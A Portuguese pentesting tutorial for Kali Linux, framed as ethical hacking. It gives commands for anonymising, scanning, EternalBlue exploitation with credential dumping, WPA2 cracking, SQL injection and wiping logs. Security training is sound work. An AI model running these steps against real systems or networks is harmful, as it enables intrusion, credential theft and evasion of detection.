

KALI LINUX EXPERT

MASTER EDITION

POR MATHEUS TI

📖 Introdução: A Mente do Invasor

💀 Capítulo 1: O Preparo do Campo de Batalha (Predator's Ghost (Anonimato Setup)

👤 1.1 O Protocolo 1.1.1 Proxychains & Tor (Sua Sombra)

👤 1.2 MacChanger (Mudando sua Identidade de Fábrica)

🔍 Capítulo 2: A Arte do Reconhecimento (OSINT & Scans)

🌐 2.1 OSINT: Inteligência de Fontes Abertas

2.1.1 Google Dorks (Pesquisa Avançada)

🔧 2.2 Mapeamento de Rede (Nmap Expert)

🕷️ Capítulo 3: Exploração de Sistemas (Metasploit Masterclass)

🔧 3.1 A Anatomia do Ataque

💀 3.2 Meterpreter: O Controle Total

📶 Capítulo 4: Guerra Wireless (Wi-Fi Cracking)

📶 4.1 O Ataque de Handshake (WPA2)

🕸️ Capítulo 5: Web Hacking (A Invasão de Sites)

🗄️ 5.1 SQL Injection (SQLMap)

⚡ 5.2 XSS (Cross-Site Scripting)

🚀 Capítulo 6: Pós-Exploração e Relatórios (A Hora do Dinheiro)

📈 6.1 Escalação de Privilégios

🧹 6.2 Limpando Rastros

💰 6.3 Estrutura do Relatório de Elite

O Guia Definitivo do Pentester Profissional

Criado por: Matheus TI



Introdução: A Mente do Invasor

A segurança da informação não é sobre ferramentas; é sobre **estratégia**. Neste livro, você não vai apenas aprender a "rodar comandos". Você vai aprender a pensar como um adversário para poder construir defesas inexpugnáveis.

Cada capítulo foi desenhado seguindo a metodologia **PTES (Penetration Testing Execution Standard)**, utilizada pelas maiores consultorias de segurança do mundo. Prepare-se para uma jornada que vai do anonimato absoluto até a entrega de relatórios que valem fortunas.

🦴 Capítulo 1: O Preparo do Campo de Batalha (Predator's Setup)

Bem-vindo à arena. Antes de disparar o primeiro comando, você precisa entender que no mundo do Hacking Ético, a sua maior arma não é o seu conhecimento em exploits, mas sim a sua **invisibilidade**. Um predador barulhento nunca captura sua presa.

🕵️ 1.1 O Protocolo Ghost (Anonimato Absoluto)

No Kali, ser anônimo não é apenas usar uma VPN. É garantir que nenhum dado saia da sua rede sem ser mascarado.

1.1.1 Proxychains & Tor (Sua Sombra)

O Proxychains permite que você "encadeie" vários servidores proxy. Se um hacker te rastrear, ele vai chegar na Holanda, depois no Japão, depois na Rússia, antes de chegar (talvez) em você.

🔧 **Configuração Passo a Passo:** 1. Instale o serviço Tor: `sudo apt install tor -y` 2. Ative o Tor: `sudo service tor start` 3. Configure o Proxychains: `sudo nano /etc/proxychains4.conf` - Remova o `#` de `dynamic_chain` . - Adicione `#` em `strict_chain` . - No final do arquivo, adicione: `socks5 127.0.0.1 9050` .

🔍 **Uso Profissional:** Para rodar qualquer ferramenta via Proxychains:

```
proxychains4 nmap -sT -PN alvo.com
```



1.2 MacChanger (Mudando sua Identidade de Fábrica)

O endereço MAC é a sua assinatura física. Se você for detectado em uma rede, o MAC é o que te liga à máquina real.

🔧 Comando de Elite:

```
sudo ifconfig eth0 down  
sudo macchanger -r eth0  
sudo ifconfig eth0 up
```

Dica: O `-r` gera um MAC aleatório de um fabricante real (Apple, Samsung), dificultando o rastreamento.

Capítulo 2: A Arte do Reconhecimento (OSINT & Scans)

90% de um ataque bem-sucedido acontece no **Reconhecimento**. Hacking não é quebrar portas; é encontrar a porta que alguém esqueceu de trancar.

2.1 OSINT: Inteligência de Fontes Abertas

OSINT é a arte de coletar informações públicas para criar um dossiê do alvo.

2.1.1 Google Dorks (Pesquisa Avançada)

Use o Google para encontrar o que não deveria estar lá: - `site:alvo.com`
`filetype:pdf` : Encontra manuais e relatórios internos. - `site:alvo.com`
`intitle:"index of"` : Revela pastas do servidor expostas.

2.2 Mapeamento de Rede (Nmap Expert)

Agora precisamos saber o que está rodando nos servidores "vivos".

O Scan Silencioso (Stealth):

```
sudo nmap -sS -sV -O -p- [IP_ALVO]
```

- `-sS` : Stealth Scan (Não fecha a conexão completa).
- `-sV` : Detecta a **versão** exata do serviço.
- `-p-` : Escaneia as **65.535 portas**.

Capítulo 3: Exploração de Sistemas (Metasploit Masterclass)

Uma vez que encontramos a brecha, precisamos da "chave mestra". Usaremos o **Metasploit Framework**.

3.1 A Anatomia do Ataque

1. **Exploit:** O veículo que atravessa a falha.
2. **Payload:** O software que te dá o controle (Meterpreter).

 **Fluxo de Ataque (Exemplo EternalBlue):**

```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [IP_DA_VITIMA]
set LHOST [SEU_IP]
exploit
```

3.2 Meterpreter: O Controle Total

Se a barra de progresso terminar, você terá acesso completo: - **sysinfo** : Vê as informações do sistema. - **screenshot** : Tira uma foto da tela da vítima. - **hashdump** : Extrai senhas criptografadas.



Capítulo 4: Guerra Wireless (Wi-Fi Cracking)

Sua conexão Wi-fi é a maior vulnerabilidade física. Ela irradia sinal para fora das paredes, onde qualquer um pode "ouvir".



4.1 O Ataque de Handshake (WPA2)

Para quebrar a senha, capturamos o momento em que um usuário se conecta ao roteador.

🔧 **Passo a Passo:** 1. **Modo Monitor:** `sudo airmon-ng start wlan0` 2. **Capturar:** `sudo airodump-ng -c [CH] --bssid [MAC] -w cap wlan0mon` 3. **Deauth (Chutar usuário):** `sudo aireplay-ng -0 5 -a [MAC] wlan0mon`

✅ **O Resultado:** Ao derrubar o usuário, ele reconecta automaticamente e o Kali captura o **Handshake**. Depois, usamos o **Aircrack-ng** com uma wordlist (`rockyou.txt`) para revelar a senha.



Capítulo 5: Web Hacking (A Invasão de Sites)

Hoje, 99% das empresas vivem na Web. Invadir o site é invadir o coração do negócio.



5.1 SQL Injection (SQLMap)

Se um site não trata bem o que o usuário digita, podemos "falar" com o banco de dados.

🔧 **Comando Mestre:**

```
sqlmap -u "https://site.com/view.php?id=10" --dbs --batch
```

O SQLMap encontrará as tabelas e poderá extrair logins e senhas de todos os usuários.



5.2 XSS (Cross-Site Scripting)

Permite injetar JavaScript no navegador de outros usuários para roubar **Cookies de Sessão**.



Capítulo 6: Pós-Exploração e Relatórios (A Hora do Dinheiro)

O cliente não paga pela invasão; ele paga pelo **Relatório**. Isso separa o amador do Consultor Profissional.



6.1 Escalação de Privilégios

Se você entrou como usuário comum, use `find / -perm -u=s -type f 2>/dev/null` para procurar binários SUID e virar **root**.



6.2 Limpando Rastros

Um hacker ético deixa tudo como encontrou. - Linux: `history -c` - Windows (Meterpreter): `clearev`



6.3 Estrutura do Relatório de Elite

1. **Sumário Executivo:** Risco financeiro e visão geral (para o dono).
2. **Severidade das Falhas:** Crítica, Alta, Média, Baixa.
3. **Remediação:** Como o time técnico deve consertar o erro.

"Seja ético. Seja técnico. Seja invisível." Matheus TI - Master Edition 2024